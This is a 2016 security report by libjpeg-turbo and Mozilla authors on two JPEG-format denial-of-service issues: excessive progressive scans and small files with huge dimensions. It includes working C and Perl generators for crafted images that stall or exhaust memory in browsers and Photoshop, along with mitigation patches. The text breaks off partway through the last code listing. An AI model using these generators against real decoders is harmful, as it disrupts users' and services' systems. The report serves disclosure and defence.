Two Issues with the JPEG Standard

D. R. Commander (libjpeg-turbo) and Gervase Markham (Mozilla)

2016-06-06

Introduction

This report is a follow-up to a recent security audit of a JPEG-implementing codebase, libjpeg-turbo, conducted by the audit firm Cure53 at the behest of Mozilla. It is concerned with two particular issues uncovered by the auditors. In examining the code, they were able to find two scenarios under which they could make the JPEG library consume resources significantly out of proportion to the size of the data being processed. While these were originally thought to be issues with the implementation, further investigation has revealed that they stem from the design of the JPEG format itself. The problems can be triggered using JPEG images which entirely conform to the spec, and the issues have been observed in multiple JPEG implementations. This report explains those two issues in detail and provides advice to application developers as to how to work around them if their applications are processing untrusted input.

The issues are described primarily in terms of their appearance in the libjpeg-turbo codebase, which itself is based on an earlier version of the libjpeg codebase. These issues have been reproduced in both of those codebases as well as in the most recent versions of libjpeg, and also in Photoshop and Internet Explorer, both of which use their own closed-source JPEG implementations.

Summary of Findings

We recommend that all programs which process JPEG images and which deal with untrusted input take two precautions:

1. Limit the number of progressive scans permissible before the JPEG decoder exits with an error. The limit will need to be chosen by the application, but 1000 may be a sensible value. This addresses issue LJT-01-003.

2. Limit the size of image that the decoder may decode, and check that size before starting the decoding process. The appropriate maximum size will vary per application, and may have to be periodically reviewed as usage patterns change. This addresses issue LJT-01-004.

It is important to note that we have not found any software in which these issues are exploitable beyond a resource consumption attack.

LJT-01-003: CPU Overconsumption Using Extraneous Progressive Scans

JPEG has the ability to encode images progressively–that is, to encode images into multiple "scans" of differing resolutions, such that the lowest-resolution scan is decoded first and subsequent scans fill in the image detail. The progressive JPEG format also provides a feature, called an "EOB run", that allows it to represent large blocks of zeroes using only a few bytes.

One can combine these two features to generate an image with a very large number of progressive scans (say, 80,000), each of which uses the EOB run feature to represent millions of zero-value pixels using less than 100 bytes. Because millions of pixels are being represented, each of these scans takes significant time to decode, and the decode time goes up linearly with the number of 100-byte scans one adds to the image. Code to generate such images is provided in the appendix.

These images are entirely legal, as the JPEG standard permits an unlimited number of progressive scans. However, it is hard to imagine any real-world application needing more than 100. Therefore, limiting the number to 1,000 before exiting with an error should avoid this problem while not preventing the decoding of any legal, non-hostile JPEGs.

LJT-01-004: Memory Overconsumption Using Large Images

The JPEG format allows for encoding very large images using a very small number of bytes, if you have no interest in whether those images actually depict anything interesting. Cure53 demonstrated that it is possible to create a 102-byte image, approximately 250 megapixels in size, which requires 1GB of memory to decode, but this image is not a legal JPEG image and will cause warnings to be thrown by most JPEG decoders, including libjpeg and libjpeg-turbo. However, it is also possible to generate fully legal JPEG images that occupy less than 2MB of storage but still require 1GB of memory to decode. Code to generate such images is provided in the appendix.

Because these images are entirely legal, they cannot be detected and discarded by a conforming JPEG implementation. Therefore, the only way to deal with this in applications which process untrusted JPEGs is to place limits on the size of the image one is willing to process. However, such limits should not be coded in a way which makes them hard to change; as memory gets cheaper and camera technology improves, it will be necessary for applications to handle larger and larger JPEG images.

Acknowledgements

The authors would like to thank:

- Dr.-Ing. Mario Heiderich, Jann Horn, Mike Wege, and Dario Weißer of Cure53;
- Josh Aas of Mozilla/ISRG;
- Chad Hurley of OTF;
- The Mozilla Security team.

Appendix A: LJT-01-003 Detailed Analysis and History

LJT-01-003 was originally titled “DoS via Progressive Image Decoding”. Cure53 discovered that a multi-scan (progressive) JPEG image–more specifically one that uses arithmetic entropy coding–could be crafted such that each scan occupies only 10 bytes but causes the decoder to generate 64 megapixels of output. Hence a relatively small image (8 megabytes, using their specific example) could be constructed that has hundreds of thousands of progressive scans, thus causing the decompressor to utilize 100% of a CPU core for hours. Each progressive scan takes approximately the same amount of time to decompress as a full baseline JPEG image of the same dimensions.

Cure53's audit identified this issue as a bug in the arithmetic decoder. Not many JPEGs use arithmetic coding. However, their description of the issue was of insufficient scope. Additional research revealed that the issue can also be easily reproduced with progressive Huffman-coded images (a common form of JPEG image) and with the standard libjpeg API. (Cure53's test code relied on the TurboJPEG API, a libjpeg-turbo-specific API.) Using the following code with `#define ARI` commented out, one can generate an image that makes `decode_mcu_AC_refine()` in `jdphuff.c` spin for hours. Commenting/uncommenting different values for `sos[]` will similarly generate images that make `decode_mcu_AC_first()`, `decode_mcu_DC_refine()`, or `decode_mcu_DC_first()` spin for hours.

```
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <err.h>

#define KB * 1024

/* max 65500 */
#define DIMENSION "\x20\x00" /* ~8MB RAM? */

/* copied from the source because I don't want to think about what a valid
table has to look like */
static char quanttab[] = {
  16,  11,  10,  16,  24,  40,  51,  61,
  12,  12,  14,  19,  26,  58,  60,  55,
  14,  13,  16,  24,  40,  57,  69,  56,
  14,  17,  22,  29,  51,  87,  80,  62,
  18,  22,  37,  56,  68, 109, 103,  77,
  24,  35,  55,  64,  81, 104, 113,  92,
  49,  64,  78,  87, 103, 121, 120, 101,
  72,  92,  95,  98, 112, 100, 103,  99
};
```

```
static int quanttab_size = sizeof(quanttab);

/* Huffman tables per JPEG spec */
static char dclumbits[] = {
  0, 1, 5, 1, 1, 1, 1, 1,
  1, 0, 0, 0, 0, 0, 0, 0
};
static char dclumvals[]= {
  0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11
};

static char aclumbits[]= {
  0, 2, 1, 3, 3, 2, 4, 3,
  5, 5, 4, 4, 0, 0, 1, 0x7d
};
static char aclumvals[]= {
  0x01, 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12,
  0x21, 0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07,
  0x22, 0x71, 0x14, 0x32, 0x81, 0x91, 0xa1, 0x08,
  0x23, 0x42, 0xb1, 0xc1, 0x15, 0x52, 0xd1, 0xf0,
  0x24, 0x33, 0x62, 0x72, 0x82, 0x09, 0x0a, 0x16,
  0x17, 0x18, 0x19, 0x1a, 0x25, 0x26, 0x27, 0x28,
  0x29, 0x2a, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,
  0x3a, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49,
  0x4a, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59,
  0x5a, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69,
  0x6a, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79,
  0x7a, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89,
  0x8a, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98,
  0x99, 0x9a, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
  0xa8, 0xa9, 0xaa, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6,
  0xb7, 0xb8, 0xb9, 0xba, 0xc2, 0xc3, 0xc4, 0xc5,
  0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xd2, 0xd3, 0xd4,
  0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xe1, 0xe2,
  0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea,
  0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8,
  0xf9, 0xfa
};

#define WRITE_BYTE(byte) { img[off] = (byte);  off++; }
#define WRITE_WORD(word) { \
  WRITE_BYTE((word >> 8) & 0xff); \
  WRITE_BYTE(word & 0xff); \
}

/*#define ARI*/

#ifdef ARI
```

```
/* progressive arithmetic */
#define SOF10 \
  "\xFF\xCA\x00\x0B\x08" DIMENSION DIMENSION "\x01\x00\x11\x00"
#else
/* progressive Huffman */
#define SOF2 \
  "\xFF\xC2\x00\x0B\x08" DIMENSION DIMENSION "\x01\x00\x11\x00"
#endif

int main(void) {
  puts("preparing...");
  unsigned char head[] =
    /*SOI*/ "\xFF\xD8"
#ifdef ARI
    SOF10
#else
    SOF2
#endif
    /*DQT*/ "\xFF\xDB\x00\x43\x00" /*values in quanttab*/;

  /* Uncomment this to cause decode_mcu_AC_refine() to spin for hours */
  unsigned char sos[] = "\xFF\xDA\x00\x08\x01\x00\x00\x01\x01\x10";

  /* Uncomment this to cause decode_mcu_AC_first() to spin for hours */
/*  unsigned char sos[] = "\xFF\xDA\x00\x08\x01\x00\x00\x01\x01\x00"; */

  /* Uncomment this to cause decode_mcu_DC_refine() to spin for hours */
/*  unsigned char sos[] = "\xFF\xDA\x00\x08\x01\x00\x00\x00\x00\x10"; */

  /* Uncomment this to cause decode_mcu_DC_first() to spin for hours */
/*  unsigned char sos[] = "\xFF\xDA\x00\x08\x01\x00\x00\x00\x00\x00"; */

  int headlen = sizeof(head)-1;
  int soslen = sizeof(sos)-1;
  int i, len, nval, soses = 0;

  unsigned char img[8000 KB];
  memcpy(img, head, headlen);
  int off = headlen;
  memcpy(img+off, quanttab, quanttab_size);
  off += quanttab_size;

#ifndef ARI
  /* Write default Huffman tables */
  WRITE_BYTE(0xff);  WRITE_BYTE(0xc4);  /* DHT marker */
  nval = 0;
  for(i = 0; i < 16; i++) nval += dclumbits[i];
  len = 19 + nval;
```

```
  WRITE_WORD(len);  /* DHT length */
  WRITE_BYTE(0x00);  /* Huffman class */
  for(i = 0; i < 16; i++) WRITE_BYTE(dclumbits[i]);
  for(i = 0; i < nval; i++) WRITE_BYTE(dclumvals[i]);

  WRITE_BYTE(0xff);  WRITE_BYTE(0xc4);  /* DHT marker */
  nval = 0;
  for(i = 0; i < 16; i++) nval += aclumbits[i];
  len = 19 + nval;
  WRITE_WORD(len);  /* DHT length */
  WRITE_BYTE(0x10);  /* Huffman class */
  for(i = 0; i < 16; i++) WRITE_BYTE(aclumbits[i]);
  for(i = 0; i < nval; i++) WRITE_BYTE(aclumvals[i]);
#endif

  while (off + soslen <= sizeof(img)) {
    memcpy(img + off, sos, soslen);
    off += soslen;
    soses++;
  }
  /* leave the rest uninitialized, whatever */

  printf("SOS markers: %d\n", soses);

  FILE *f = fopen("eofloop_2.jpg", "w");
  if (!f) err(1, "fopen");
  if (fwrite(img, off, 1, f) != 1)
    errx(1, "fwrite");
  if (fclose(f))
    err(1, "fclose");

  return 0;
}
```

The symptoms of this issue manifest in various applications as follows:

- **Firefox:** Take the image generated by the above test code with `#define ARI` commented out, and attempt to open it in Firefox using the appropriate `file:///` URL. On a Mac with an Intel Core i7, running a recent version of Firefox, the browser starts using up more than one core's worth of CPU time. Closing the tab in which the JPEG image is decoding does not eliminate the high CPU usage. It is necessary to force quit the application in order to make it stop eating up the CPU.
- **Internet Explorer:** Similar behavior to above, except that closing the application does not cause the high CPU usage to go away. It is necessary to kill the `iexplore.exe` process using Task Manager. NOTE: IE uses a closed-source JPEG codec.

- **Chrome:** Same as above, except that closing the tab in which the JPEG image is decoding does eliminate the high CPU usage.
- **PhotoShop:** Displays an error: “Could not complete your request because a JPEG marker segment length is too short (the file may be truncated or incomplete).” NOTE: PhotoShop uses a closed-source JPEG codec.

These are the warnings that are generated (many many times) by libjpeg-turbo with this particular issue (line numbers are from libjpeg-turbo 1.5):

If using progressive Huffman:

jdhuff.c:380 -- Corrupt JPEG data: premature end of data segment (JWRN_HIT_MARKER) (appears always)
jdphuff.c:143 -- Inconsistent progression sequence for component 0 coefficient 0 (JWRN_BOGUS_PROGRESSION) (appears only if using either the first or second `sos[]` value in the test code)
jdhuff.c:147 -- Inconsistent progression sequence for component 0 coefficient 1 (JWRN_BOGUS_PROGRESSION) (appears only if using either the first or third `sos[]` value in the test code)

If using arithmetic:

jdarith.c:663 -- Inconsistent progression sequence for component 0 coefficient 0 (JWRN_BOGUS_PROGRESSION) (appears if using the first or second `sos[]` value in the test code)
jdarith.c:667 -- Inconsistent progression sequence for component 0 coefficient 1 (JWRN_BOGUS_PROGRESSION) (appears if using the first or third `sos[]` value in the test code)

But it is important to note that when using arithmetic coding along with the fourth sos[] value, no warnings are generated at all. Therefore, one cannot always rely on warnings from the JPEG codec in order to detect this class of problem.

One possible approach to dealing with this issue would be to change the behavior of the libjpeg API such that it treats such warnings as fatal. However, this would basically introduce a backward incompatibility, so it isn't a very palatable solution. libjpeg has traditionally (since the early 90s) handled warnings by calling `emit_message()` in the error handler but continuing to process the image. Lots of programs (particularly image viewers and such) rely on this behavior, because it allows them to decode as much of a corrupt image as possible. Making warnings fatal by default would effectively change the behavior of the libjpeg API, because it would cause that API to call back the `error_exit()` function in the error handler when a warning was encountered, rather than calling back the `emit_message()` function. It is possible to treat only the JWRN_HIT_MARKER warning as an error, but that would defeat the purpose of fault

tolerance–that is, it would probably be that warning that would be encountered most often when an image viewer tried to decode a corrupt JPEG, and if it wanted to display as much of the image as possible, it would need to ignore the warning.

However, if it is desirable to make warnings fatal, that can easily be accomplished in the libjpeg API by using a custom error manager or modifying the stock error manager. The following patch demonstrates how to modify `djpeg.c` such that it treats all warnings as fatal.

```
diff --git a/djpeg.c b/djpeg.c
index 54cd525..9659506 100644
--- a/djpeg.c
+++ b/djpeg.c
@@ -484,6 +484,18 @@ print_text_marker (j_decompress_ptr cinfo)
 }


+static void my_emit_message(j_common_ptr cinfo, int msg_level)
+{
+  if (msg_level < 0) {
+    /* Treat warning as fatal */
+    cinfo->err->error_exit(cinfo);
+  } else {
+    if (cinfo->err->trace_level >= msg_level)
+      cinfo->err->output_message(cinfo);
+  }
+}
+
+
 /*
  * The main program.
  */
@@ -520,6 +532,7 @@ main (int argc, char **argv)
   jerr.addon_message_table = cdjpeg_message_table;
   jerr.first_addon_message = JMSG_FIRSTADDONCODE;
   jerr.last_addon_message = JMSG_LASTADDONCODE;
+  jerr.emit_message = my_emit_message;

   /* Insert custom marker processor for COM and APP12.
    * APP12 is used by some digital camera makers for textual info,
```

The fault tolerance mechanism in libjpeg[-turbo] is predicated on the use of restart markers. If any marker is encountered by the Huffman decoder, then the decoder assumes that this is because the entropy-encoded MCU block is corrupt (i.e. incomplete.) If this happens, then JWRN_HIT_MARKER is thrown in `jpeg_fill_bit_buffer()`. This sets the `insufficient_data` flag, and once that flag is set, there is no way for it to be reset unless restart markers are used in the JPEG image. If restart markers are not used, then there is basically no way to recover–all subsequent calls to the `decode_mcu_*()` functions will be no-ops, so it is safe to skip all of those calls. This can be accomplished by applying a simple patch to the `consume_data()` function in `jdcoefct.c`, thus preventing the inner loops from being invoked if `insufficient_data` is set and the restart interval is 0. This patch decreases the processing time for the corrupt Huffman-coded test images to about 8 seconds. However, it does nothing for the corrupt arithmetic-coded test images, since those images never trigger JWRN_HIT_MARKER, and thus the arithmetic codec's equivalent of `insufficient_data`–the `ct` variable–is never set to an error value. Also, it is easy to circumvent the aforementioned patch. All one has to do is modify the test code such that it adds a DRI marker to the test images, which causes the decoder to set the restart interval to a non-zero value. The whole purpose of restart markers is fault tolerance, so once an unexpected marker is encountered, it is necessary to keep calling `decode_mcu_*()` in order to "catch" the next restart marker and resume normal processing of the image. Therefore, we assert that bypassing all of the subsequent `decode_mcu_*()` calls whenever JWRN_HIT_MARKER is triggered and the restart interval is > 0 would be incorrect.

We already know that it is possible to generate an arithmetic-coded image that will cause the decoder to spin for hours without generating any warnings. Further study revealed that such is possible with the Huffman codec as well. This issue can be triggered by a completely valid progressive Huffman-encoded JPEG image that causes no warnings whatsoever to be issued by the libjpeg API. The following code generates such an image by taking advantage of the "EOB run" feature in progressive JPEGs, which allows a couple of bytes of Huffman-encoded input to represent up to 32767 MCU blocks worth of zeroes. Thus, each 8192x8192-coefficient scan in the image can be represented using only 90 bytes. The image begins with a single DC scan, in order to avoid the JWRN_BOGUS_PROGRESSION warnings. DC scans cannot use the EOB run feature, so that scan occupies 8192 * 8192 / 64 / 4 = 262,144 bytes, but that still leaves room for nearly 80,000 AC scans of about 100 bytes each (10-byte header + 90-byte scan.) This is an order of magnitude fewer scans than in the corrupt test images generated by the above code, but it's still enough to make libjpeg-turbo spin for nearly 10 minutes while decoding the image. Also, this will scale almost linearly with the size of the input image–16 MB of input data will make the decoder spin for 20 minutes, and 32 MB will make it spin for 40 minutes, etc.

```
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
```

```
#include <err.h>

#define KB * 1024
#define SOSLEN 10

/* max 65500 */
#define DIMENSION "\x20\x00" /* ~8MB RAM? */

/* copied from the source because I don't want to think about what a valid
table has to look like */
static char quanttab[] = {
  16,  11,  10,  16,  24,  40,  51,  61,
  12,  12,  14,  19,  26,  58,  60,  55,
  14,  13,  16,  24,  40,  57,  69,  56,
  14,  17,  22,  29,  51,  87,  80,  62,
  18,  22,  37,  56,  68, 109, 103,  77,
  24,  35,  55,  64,  81, 104, 113,  92,
  49,  64,  78,  87, 103, 121, 120, 101,
  72,  92,  95,  98, 112, 100, 103,  99
};
static int quanttab_size = sizeof(quanttab);

/* Huffman tables per JPEG spec */
static char dclumbits[] = {
  0, 1, 5, 1, 1, 1, 1, 1,
  1, 0, 0, 0, 0, 0, 0, 0
};
static char dclumvals[]= {
  0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11
};

static char aclumbits[]= {
  0, 2, 1, 3, 3, 2, 4, 3,
  5, 5, 4, 4, 0, 0, 1, 0x7d
};
static char aclumvals[]= {
  0x01, 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12,
  0x21, 0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07,
  0xe0, 0xd0, 0x14, 0x32, 0x81, 0x91, 0xa1, 0x08,
  0x23, 0x42, 0xb1, 0xc1, 0x15, 0x52, 0xd1, 0xf0,
  0x24, 0x33, 0x62, 0x72, 0x82, 0x09, 0x0a, 0x16,
  0x17, 0x18, 0x19, 0x1a, 0x25, 0x26, 0x27, 0x28,
  0x29, 0x2a, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,
  0x3a, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49,
  0x4a, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59,
  0x5a, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69,
  0x6a, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79,
  0x7a, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89,
```

```
  0x8a, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98,
  0x99, 0x9a, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
  0xa8, 0xa9, 0xaa, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6,
  0xb7, 0xb8, 0xb9, 0xba, 0xc2, 0xc3, 0xc4, 0xc5,
  0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xd2, 0xd3, 0xd4,
  0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xe1, 0xe2,
  0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea,
  0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8,
  0xf9, 0xfa
};

#define WRITE_BYTE(byte) { img[off] = (byte);  off++; }
#define WRITE_WORD(word) { \
  WRITE_BYTE((word >> 8) & 0xff); \
  WRITE_BYTE(word & 0xff); \
}

/* progressive Huffman */
#define SOF2 \
  "\xFF\xC2\x00\x0B\x08" DIMENSION DIMENSION "\x01\x00\x11\x00"

int main(void) {
  puts("preparing...");
  unsigned char head[] =
    /*SOI*/ "\xFF\xD8"
    SOF2
    /*DQT*/ "\xFF\xDB\x00\x43\x00" /*values in quanttab*/;
  unsigned char sos_dc[SOSLEN] =
  /* This will cause decode_mcu_DC_first() to spin for hours */
    "\xFF\xDA\x00\x08\x01\x00\x00\x00\x00\x00";
  unsigned char sos_ac[SOSLEN] =
  /* This will cause decode_mcu_AC_first() to spin for hours */
    "\xFF\xDA\x00\x08\x01\x00\x00\x01\x01\x00";

  unsigned char scan_data[] = {
  /* The first 88 bytes represent 32 instances of Huffman-encoded 249 (which
     maps to 0xe0 in the Huffman table) followed by a 14-bit-encoded 16126.
     This sequence is a shortcut that takes advantage of the EOB run feature in
     progressive JPEGs in order to fill numerous MCU blocks with zeroes using
     only a few bytes of input.  Each 0xe0 sequence fills (1 << 0xe) + 16126 =
     32510 MCU blocks, so 32 of them fill 1,040,320 MCU blocks.  The remaining
     8256 MCU blocks in each 8192x8192-coefficient scan are filled using a
     closing sequence:  Huffman-encoded 250, which maps to 0xd0 in the Huffman
     table, followed by a 13-bit-encoded 64 [(1 << 0xd) + 64 = 8256.] */
    0xf9, 0xfb, 0xfb, 0xe7, 0xef, 0xef, 0x9f, 0xbf, 0xbe, 0x7e, 0xfe,
    0xf9, 0xfb, 0xfb, 0xe7, 0xef, 0xef, 0x9f, 0xbf, 0xbe, 0x7e, 0xfe,
    0xf9, 0xfb, 0xfb, 0xe7, 0xef, 0xef, 0x9f, 0xbf, 0xbe, 0x7e, 0xfe,
    0xf9, 0xfb, 0xfb, 0xe7, 0xef, 0xef, 0x9f, 0xbf, 0xbe, 0x7e, 0xfe,
```

```
  0xf9, 0xfb, 0xfb, 0xe7, 0xef, 0xef, 0x9f, 0xbf, 0xbe, 0x7e, 0xfe,
  0xf9, 0xfb, 0xfb, 0xe7, 0xef, 0xef, 0x9f, 0xbf, 0xbe, 0x7e, 0xfe,
  0xf9, 0xfb, 0xfb, 0xe7, 0xef, 0xef, 0x9f, 0xbf, 0xbe, 0x7e, 0xfe,
  0xf9, 0xfb, 0xfb, 0xe7, 0xef, 0xef, 0x9f, 0xbf, 0xbe, 0x7e, 0xfe,
  0xfa, 0x02, 0x07
};

int headlen = sizeof(head)-1;
int i, len, nval, soses = 0;

unsigned char img[8000 KB];
memcpy(img, head, headlen);
int off = headlen;
memcpy(img+off, quanttab, quanttab_size);
off += quanttab_size;

/* Write default Huffman tables */
WRITE_BYTE(0xff);  WRITE_BYTE(0xc4);  /* DHT marker */
nval = 0;
for(i = 0; i < 16; i++) nval += dclumbits[i];
len = 19 + nval;
WRITE_WORD(len);  /* DHT length */
WRITE_BYTE(0x00);  /* Huffman class */
for(i = 0; i < 16; i++) WRITE_BYTE(dclumbits[i]);
for(i = 0; i < nval; i++) WRITE_BYTE(dclumvals[i]);

WRITE_BYTE(0xff);  WRITE_BYTE(0xc4);  /* DHT marker */
nval = 0;
for(i = 0; i < 16; i++) nval += aclumbits[i];
len = 19 + nval;
WRITE_WORD(len);  /* DHT length */
WRITE_BYTE(0x10);  /* Huffman class */
for(i = 0; i < 16; i++) WRITE_BYTE(aclumbits[i]);
for(i = 0; i < nval; i++) WRITE_BYTE(aclumvals[i]);

/* DC */
#define DCSCANSIZE (8192 * 8192 / 64 / 4)
memcpy(img + off, sos_dc, SOSLEN);
off += SOSLEN;
soses++;
for (i = 0; i < DCSCANSIZE; i++)
  img[off++] = 0;
/* AC */
while (off + SOSLEN + sizeof(scan_data) <= sizeof(img) - 2) {
  memcpy(img + off, sos_ac, SOSLEN);
  off += SOSLEN;
  soses++;
  memcpy(img + off, scan_data, sizeof(scan_data));
```

```
    off += sizeof(scan_data);
  }
  img[off++] = 0xff;  img[off++] = 0xd9;  /* EOI marker */

  printf("SOS markers: %d\n", soses);

  FILE *f = fopen("eofloop_valid_huff.jpg", "w");
  if (!f) err(1, "fopen");
  if (fwrite(img, off, 1, f) != 1)
    errx(1, "fwrite");
  if (fclose(f))
    err(1, "fclose");

  return 0;
}
```

It has already been demonstrated that it is very easy to trigger this issue in the arithmetic decoder without triggering any warnings. The above code demonstrates that it is also possible to trigger the issue in the progressive Huffman decoder without triggering any warnings. Whereas the severity of the issue is reduced by the requirement of using a valid JPEG image, it is still the case that 100 bytes of input cause the decoder to generate an 8192x8192-component output scan. (In the previous corrupt test images, this was accomplished using 10 bytes.) The decoder is required to fill the output coefficients with zeroes in order to comply with the JPEG specification, so even if the application were to abort decoding after a warning was encountered, that would do nothing to address the issue with the test image generated by the above code. Whereas this valid Huffman-coded image behaves identically to the corrupt Huffman-coded images when opened in the aforementioned browsers, it now causes PhotoShop to fully lock up (“Pinwheel of Death”), demonstrating that the scope of the issue extends beyond browsers and beyond open source JPEG codecs.

Whereas the corrupt test images were producing computation on the order of 10 minutes per megabyte of input data, the valid test image produces computation on the order of 1 minute per megabyte of input data, but that's still a very large amount of computation for a very small amount of input data. There is seemingly no legitimate way to work around the issue without placing some sane limit on the number of scans in a progressive image, and what that limit should be is probably best decided by individual applications. Browsers and other applications that need to handle untrusted JPEG images will probably want to place a limit on the number of progressive scans. Even limiting the number of scans to 1000 would reduce the computation of these test images to less than 10 seconds, and it is hard to imagine why any valid JPEG image would have even 100 scans, much less 1000. This limit would be less critical for image viewers and other non-network-connected programs, since users would be less likely to accidentally open malformed images using such a program and, if they did, they would probably wait 30 seconds and abort the program. The worst-case scenario for this issue is loss of work caused by having to force quit an application.

Applications can set up a progress monitor in order to limit the number of scans allowed in a JPEG image. For instance, the following patch to `djpeg.c` demonstrates how to make that program abort after decoding 1000 scans:

```
diff --git a/djpeg.c b/djpeg.c
index 54cd525..237f516 100644
--- a/djpeg.c
+++ b/djpeg.c
@@ -484,6 +484,21 @@ print_text_marker (j_decompress_ptr cinfo)
 }


+#define MAX_SCANS 1000
+
+static void progress_monitor (j_common_ptr cinfo)
+{
+  if (cinfo->is_decompressor) {
+    int scan_no = ((j_decompress_ptr)cinfo)->input_scan_number;
+    if (scan_no >= MAX_SCANS) {
+      fprintf(stderr, "Scan number %d exceeds maximum scans (%d)\n", scan_no,
+              MAX_SCANS);
+      exit(EXIT_FAILURE);
+    }
+  }
+}
+
+
 /*
  * The main program.
  */
@@ -496,6 +511,7 @@ main (int argc, char **argv)
 #ifdef PROGRESS_REPORT
   struct cdjpeg_progress_mgr progress;
 #endif
+  struct jpeg_progress_mgr progress;
   int file_index;
   djpeg_dest_ptr dest_mgr = NULL;
   FILE *input_file;
@@ -589,6 +605,8 @@ main (int argc, char **argv)
 #ifdef PROGRESS_REPORT
   start_progress_monitor((j_common_ptr) &cinfo, &progress);
 #endif
+  cinfo.progress = &progress;
+  progress.progress_monitor = progress_monitor;

   /* Specify data source for decompression */
```

```
#if JPEG_LIB_VERSION >= 80 || defined(MEM_SRCDST_SUPPORTED)
```

Appendix B: LJT-01-004 Detailed Analysis and History

LJT-01-004 is titled “DoS via Small Image with Large Dimensions”. This issue is similar in nature to the previous one, in that it takes advantage of the design of the JPEG format in order to cause very large resource usage when decoding a very small amount of data. In this case, however, the decoder consumes a great deal of memory rather than CPU time.

Cure53 used the following Perl script to generate a 102-byte JPEG file that, when decoded, causes nearly 1 GB of memory to be consumed.

```
#!/usr/bin/perl
$data = "\xff\xd8"; # RST0

$width = pack("v", 0x4040);
$height = pack("v", 0x3c3c);

$data .= "\xff\xdb\x00\x43\x00" . "A"x64; # DQT
$data .= "\xff\xc0\x00\x11\x08" . $width . $height .
"\x03\x00\x22\x00\x01\x22\x01\x02\x22\x00"; # SOF0
$data .= "\xff\xda\x00\x08\x01\x00\x00\x00\x3f\x00"; # SOS
$data .= "\xff\xd9"; # EOI

print $data;
```

The symptoms of this issue manifest in various applications as follows:

- **Firefox:** Take the image generated by the Cure53 test script and attempt to open it in Firefox using the appropriate `file:///` URL. On a Mac with 16 GB of memory, running a recent version of Firefox, the browser's memory usage increases by about 1 GB, so it is pretty easy to generate a web page with multiple copies of the image and thus cause the browser to consume all available memory. Firefox continues to use the same amount of memory, even after the image has finished decoding. However, unlike with -003, closing the tab in which the decoding took place frees up the resources. The main danger here is that, if the ballooning memory usage causes the filesystem cache to thrash, the O/S could become unresponsive until the user force quits all running applications, which may cause them to lose their work. As the Cure53 report points out, this is mostly a danger under UN*X, as OS X and Windows generally do a better job of recovering from memory exhaustion than X11 does.
- **Chrome:** Similar to the above, except that the memory is freed up once the image has finished decoding.
- **Internet Explorer:** IE appears to limit the size of JPEG images, so it does not attempt to decode the test image. NOTE: IE uses a closed-source JPEG codec.

- **PhotoShop:** Displays an error: “Could not complete your request because a SOFn, DQT, or DHT JPEG marker is missing before a JPEG SOS marker.” NOTE: PhotoShop uses a closed-source JPEG codec.

As with -003, the Cure53 test image causes the libjpeg[-turbo] decoder to throw a warning (JWRN_HIT_MARKER), so making warnings fatal (as demonstrated above) works around the issue as it pertains to their specific test image However, further research revealed that it is possible to produce an image that causes the issue without triggering any warnings. The following test code generates such an image:

```
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <err.h>

#define KB * 1024
#define SOSLEN 10

/* max 65500 */
#define WIDTH "\x40\x40"
#define HEIGHT "\x78\x78"

/* copied from the source because I don't want to think about what a valid
table has to look like */
static char quanttab[] = {
  16,  11,  10,  16,  24,  40,  51,  61,
  12,  12,  14,  19,  26,  58,  60,  55,
  14,  13,  16,  24,  40,  57,  69,  56,
  14,  17,  22,  29,  51,  87,  80,  62,
  18,  22,  37,  56,  68, 109, 103,  77,
  24,  35,  55,  64,  81, 104, 113,  92,
  49,  64,  78,  87, 103, 121, 120, 101,
  72,  92,  95,  98, 112, 100, 103,  99
};
static int quanttab_size = sizeof(quanttab);

/* Huffman tables per JPEG spec */
static char dclumbits[] = {
  0, 1, 5, 1, 1, 1, 1, 1,
  1, 0, 0, 0, 0, 0, 0, 0
};
static char dclumvals[]= {
  0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11
};
```

```
static char aclumbits[]= {
  0, 2, 1, 3, 3, 2, 4, 3,
  5, 5, 4, 4, 0, 0, 1, 0x7d
};
static char aclumvals[]= {
  0x01, 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12,
  0x21, 0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07,
  0x22, 0x71, 0x14, 0x32, 0x81, 0x91, 0xa1, 0x08,
  0x23, 0x42, 0xb1, 0xc1, 0x15, 0x52, 0xd1, 0xf0,
  0x24, 0x33, 0x62, 0x72, 0x82, 0x09, 0x0a, 0x16,
  0x17, 0x18, 0x19, 0x1a, 0x25, 0x26, 0x27, 0x28,
